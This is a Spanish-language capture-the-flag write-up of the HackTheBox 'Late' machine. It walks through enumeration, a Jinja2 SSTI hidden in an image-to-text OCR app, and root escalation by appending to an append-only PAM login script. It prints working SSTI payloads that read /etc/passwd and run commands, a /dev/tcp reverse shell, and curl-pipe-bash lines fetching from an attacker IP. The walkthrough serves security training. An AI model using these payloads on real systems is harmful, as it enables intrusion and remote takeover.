HackTheBox - Late


Creado
HackTheBox - Late

Máquina Linux nivel fácil. Engaños para ocultar un SSTI en el texto de unas imágenes y atributos burlones en algunos archivos.

TL;DR (Spanish writeup)

Creada por: kavigihan.

Engañados.

Encontramos una web que nos engaña diciendo que convierte una imagen en texto usando Flask, descubriremos la verdad para encontrar un Server Side Template Injection (SSTI) y ejecutar comandos en el sistema como el usuario svc_acc.

En el sistema existe un script del cual somos owners y que root ejecuta cada vez que alguien inicia sesión por SSH, jugaremos con los atributos del archivo que impiden modificarlo para agregar cositas que serán ejecutadas por root.

Clasificación de la máquina según la gentesita

Cositas medio raras, mucho más irreal.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

No burial.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #


Enumeración de puertos con nmap 📌

Empezaremos como siempre, vamos a descubrir que puertos (servicios) están abiertos (expuestos) en la máquina, usaré la herramienta nmap para ello:

nmap -p- --open -v 10.10.11.156 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Nos devuelve estos puertos activos:

Puerto Descripción
22 SSH: Opción de obtener una terminal (shell) de manera segura.
80 HTTP: Contamos con un servidor web.

El siguiente paso que me gusta hacer es para obtener más info de los servicios, usaremos nmap para: con sus scripts (funciones por default) intentar descubrir cositas YY también validaremos la versión del software alojado en cada puerto:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.156
    [*] Open ports: 22,80

[*] Ports copied to clipboard

)~

nmap -p 22,80 -sC -sV 10.10.11.156 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y ahora encontramos:

Puerto Servicio Versión
22 SSH OpenSSH 7.6p1
80 HTTP nginx 1.14.0

Pues no nos muestra gran cosa, así que nada, empecemos a jugar y veamos por donde podemos entrarle a esta máquina.

Enumeración #


Recorriendo servidor web sobre el puerto 80 📌

Una página web que nos informa de distintas herramientas para jugar con imágenes, si exploramos un poco encontramos un link, que al hacer hovering (colocar el puntero del mouse sobre el link) vemos que nos enviara a un nuevo subdominio:

Si damos clic sobre el link nos aparecerá un error, ya que nuestro sistema no sabe realmente a donde debe dirigirse con respecto a images.late.htb, para solucionar esto usamos el archivo /etc/hosts para que el subdominio resuelva correctamente con respecto a la información que tiene alojada en la dirección IP 10.10.11.156, quedaría así:

¿Para que sirve el archivo /etc/hosts?

❱ cat /etc/hosts
...
# --- HTB
10.10.11.156  images.late.htb
...

Por lo que ahora el sistema entiende que debe resolver al contenido que tiene ese dominio con respecto a su IP, veamos si es verdad:

Perfecto, tenemos cositas…

Jmmm, ¿una herramienta para convertir una imagen en texto? Podemos pensar algunas cosas… Ahh y además usando ¿Flask?

🌐 “Flask es un ‘micro’ Framework escrito en Python y concebido para facilitar el desarrollo de Aplicaciones Web” ~ openwebinars

Por experiencia jugando con Flask, lo primero que pensamos es en explotar los templates (plantillas) que usa…

📝 “En tu aplicación, usarás plantillas para renderizar HTML que se mostrará en el navegador del usuario.” ~ flask - documentacion

Flask por default utiliza la biblioteca de plantillas Jinja para renderizarlas.

🌩️ “A template contains variables and/or expressions, which get replaced with values when a template is rendered” ~ jinja

🔎 (((En caso de que no tengas experiencia con Flask, bastaria con una simple busqueda con algo como: exploit flask para llegar a un articulo como este: Explotando Flask con inyecciones))) 🔍

El juego central de explotar las plantillas empleadas por Flask es lograr una vulnerabilidad llamada Server Sive Template Injection (o SSTI), la cual nos permite inyectar expresiones en la plantilla, ya sea para extraer información o ejecutar acciones maliciosas una vez esta sean renderizadas (la plantilla), solo que no sabemos si realmente vaya por acá, así que juguemos con el temita de las imágenes…

Probemos a subir una imagen normal de internet, como por ejemplo esta vaca:

Seleccionemos la imagen en nuestro sistema y demos clic en Scan Image, nos descargará un archivo llamado results.txt con este contenido:

❱ cat results.txt 
<p></p>

Jmm, solo un tag p de HTML (de párrafo), pero sin nada dentro…

Después de probar y probar (modificar metadata, subir distintas imágenes e interceptarlas con Burp modificando valores (con esto obtuvimos esta ruta en un error: /home/svc_acc/app/uploads/)) no logramos nada que nos direccione a algún vector de ataque 😥

Explotación #

Me fui a internet a buscar algo como convert image to text flask y caí en este repo:

La herramienta hace algo llamado OCR (reconocimiento óptico de caracteres), que sería extraer el texto que exista en una imagen. Es algo que no habíamos probado, ya que realmente el apartado web de la máquina dice Convert más no Extract

Pueda que realmente esto sea lo que esté haciendo el servicio web, probemos subiendo esta imagen:

Como respuesta en results.txt vemos:

❱ cat results.txt 
<p>hola como estas
</p>

OOOOOJOOOPA! Efectivamente, la descripción del sitio web está para molestar, en lugar de convertir lo que hace es extraer texto de la imagen 😠

Profundizando un poco sobre OCR en Flask encontramos este repositorio, el cual si nos fijamos «sorpresa», es el origen de la herramienta que estamos usando en el servidor web, ahí SI dice extraer :/

Molestamos con un SSTI dentro de imágenes 📌

Ya con esto podemos retomar el jueguito con Flask.

Para validar que template se está empleando podemos intentar inyectar la cadena {{7*7}}, esto lo que hará es que si es renderizada podríamos ver dos posibles valores (quizás más, pero los esperados):

[+] Ejecutamos {{7*7}}
Si da 49      = Template Jinja2
Si da 7777777 = Template Twig

Creamos imagen con el payload:

Subimos yyyy en la respuesta:

PERFEEECTO, confirmamos dos vainas!!

  1. Tenemos un Server Side Template Injection 🤗
  2. La plantilla (template) usada es Jinja2, así que debemos buscar payloads válidos para ella.

Ya que tenemos claro el proceso para generar la explotación, aproveché la oportunidad y me cree un script con Python3 para automatizar toooodo esto, tanto la creación de la imagen (con la biblioteca Pillow) con su texto (es necesario usar una fuente que sus símbolos y números sean bien claros e identificables, yo emplee Hack), como la obtención del resultado por pantalla (:

Acá se los dejo: sstImage.py

😏

Mediante un SSTI no solo podemos hacer operaciones matemáticas, nop nop nop, podemos filtrar información que usa la APP para su ejecución usando {{config}}:

Notamos un Secret Key (usado para firmar cookies, pero de poco nos sirve en este momento) y otros valores poco relevantes…

Ejecutamos comandos en el sistema con un SSTI 📌

PEEEEEERO no solo podemos hacer eso, TAMBIEEEEEEN podemos intentar ejecutar código en el sistema remotamente 😲, acá algunos payloads a probar:

Probando líneas llegamos a esta:

# Esta nos permite leer contenido de archivos en el sistema:
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
# Y estaaaa, ejecutar codigo:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen("id").read() }}
python3 sstImage.py '{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen("id").read()}}'

Ejeeeepaa! Vemos el resultado de ejecutar el comando id, somos el usuario svc_acc (: Levantemos una reverse shell (una terminal remota en la máquina víctima):

(Existen como siempre varias formas de hacer X cosa, yo lo haré así:)

Crearemos un archivo con el contenido que queremos que sea ejecutado por la máquina víctima, lo llamaré rev.sh:

❱ cat rev.sh
#!/bin/bash

bash -i &> /dev/tcp/10.10.14.129/4433 0>&1

Lo que hará es enviar una petición al puerto 4433 de la dirección IP 10.10.14.129 con una /bin/bash, lo que quiere decir que si se establece una conexión, la máquina víctima generará una bash (shell).

Procedamos a ponernos en escucha por ese puerto:

❱ nc -lvp 4433
listening on [any] 4433 ...

Listos, lo único que nos queda hacer es que la máquina llegue a nuestro archivo y lo ejecute, validemos si existe curl:

Sigamos entonces, vamos a hacer que con curl la máquina lea el archivo y con pipes que lo ejecute, levantemos un servidor web donde tenemos alojado el archivo rev.sh:

❱ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y esto sería lo que le diremos que ejecute:

curl http://10.10.14.129:8000/rev.sh|bash

Le damos formato al payload:

# '{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen("curl http://10.10.14.129:8000/rev.sh|bash").read()}}'
python3 sstImage.py '{{se...open("curl http://10.10.14.129:8000/rev.sh|bash").read()}}'

Ejecutamoooooos yyyyyy en nuestro puerto activoooo:

TENEMOS UNA REVERSE SHELLLLLL COMO EL USUARIO svc_acc 👌 antes de seguir hagámosla linda (para evitar perderla al ejecutar ctrl+c, tener histórico de comandos yyy poder movernos entre ellos):

Ahora sí…

Escalada de privilegios #

El usuario svc_acc cuenta con el directorio /home/.ssh, en su contenido tenemos el objeto id_rsa (una llave privada que puede actuar como contraseña), esta la podemos usar para migrarnos a una Shell SSH nativa (o sea, sin tratamientos), usémosla para ello.

Tomamos su contenido, lo guardamos en un archivo, damos permisos (chmod 600 archivo) y con ayuda del argumento -i le pasamos el archivo:

ssh svc_acc@10.10.11.156 -i svc_acc.id_rsa

Ya estaríamos con una terminal propia de SSH y podemos olvidar la otra (:

Buscando objetos que su owner sea el usuario svc_acc encontramos uno llamativo:

find / -user svc_acc -ls 2>/dev/null | grep -vE "run|proc|sys|cache|lib"
# Con el 'grep' lo que hacemos es quitar varios resultados que no nos interesan
...
   131203      4 -rwxr-xr-x   1 svc_acc  svc_acc       433 Jul 25 25:25 /usr/local/sbin/ssh-alert.sh
...

De por sí es un objeto con nombre raro y que claramente no viene por default en el sistema, veamos su contenido:

cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash

RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"

if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi

El programa centralmente le envía un mail al destinatario root@late.htb cuando al parecer el sistema detecta un inicio sesión mediante SSH, la información que viaja en el body del mensaje está relacionada con PAM (Pluggable Authentication Modules / Módulos de Autenticación Conectables).

🛂 Permite “que el administrador del sistema seleccione la forma en que las aplicaciones autentican a los usuarios de la red local.” ~ solvetic

Jmm, pues suena curioso, básicamente al tener una app compatible con PAM lo que lograremos es modificar los mecanismos de autenticación usados…

Antes de enfrascarnos juguemos con pspy (un rastreador de procesos, nos muestra que se está ejecutando en el sistema, quien lo está ejecutando y con qué frecuencia) para ver que pasa realmente con el script cuando entablamos una SSH. Descargamos el binario pspy, lo subimos a la máquina, lo ejecutamos y en otra terminal entablamos una nueva sesión con SSH, tendremos que estar atentos en pspy a ver que se ejecuta cuando nos autentiquemos:

Vemos estas líneas con algo bastante curioso:

El script es ejecutado por el UID 0, (que si no lo sabías) ese UID siempre está asignado al mismo usuario, a root! Esto es muy importante, ya que si encontramos alguna brecha que nos permita ejecutar cositas con ayuda del script, estas serian ejecutadas por el usuario root (:

La vuelta es que buscando cositas no llegamos a ningún lado ): Peeeeero si recordamos nuestro find del inicio sabemos que somos owners de ese archivo, por lo que deberíamos poder escribir contenido sobre él…

svc_acc@late:~$ ls -al /usr/local/sbin/ssh-alert.sh
-rwxr-xr-x 1 svc_acc svc_acc 433 Jul 25 25:25 /usr/local/sbin/ssh-alert.sh

Solo que si intentamos abrir el archivo, ya sea con nano, vim, etc. Nos muestra que el archivo es de solo lectura…

Queriendo entender el “por qué” dice esas cosas tan horribles :P llegamos (después de buscar bastante e hilar posts :P no conocía esta herramienta) a este post:

Con lsattr podemos listar los atributos asociados a objetos:

svc_acc@late:~$ lsattr /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh

Lo que nos dicen esas letras (a y e) es:

  • a = append only = solamente deja agregar contenido, más no borrar nada.
  • e = extents = permite fragmentar el contenido.

Jmmm, pues el interesante es el atributo a, según la descripción podemos agregar contenido, más no modificarlo, así que perfecto, probemos un simple echo "hola" >> archivo a ver si es verdad que lo agrega, si si, tamos ganaos!

echo "hola" >> /usr/local/sbin/ssh-alert.sh

Yyyy:

svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
...
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi


hola

OJITOOOOO! No, pues agreguemos una reverse shell (como la que usamos para el SSTI) y obtengamos eso (:

echo "curl http://10.10.14.129:8000/rev.sh|bash" >> /usr/local/sbin/ssh-alert.sh

Levantamos tanto servidor web como puerto para la reverse shell:

❱ python3 -m http.server
❱ nc -lvp 4433

Y ahora solo falta entablar sesión SSH:

ssh svc_acc@10.10.11.156 -i svc_acc.id_rsa

Ejecutamos, se queda pensando, llega la petición al servidor web, pasa un momentito yyyyyyyyyyyyyy:

TAMOU dentro! 🎠 🚀 📣 🚣

La hacemos bonita y vemos las flags:

Nos fui ~

Una máquina medio regular, el tema de extraer texto de las imágenes me pareció buena idea, puede ser incluso real, solo que el “engaño” de convertir en lugar de extraer me parece un poco feo… El tema de la escalada si es bastante juguetona, está interesante conocer la herramienta de los atributos, pero quizás se pudo haber llevado, por otro lado, la máquina.

Meno, nos charlamos en la siguiente reunión :* a seguir rompiendo de todooooooo! Y no te frustres, solo date tiempo!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus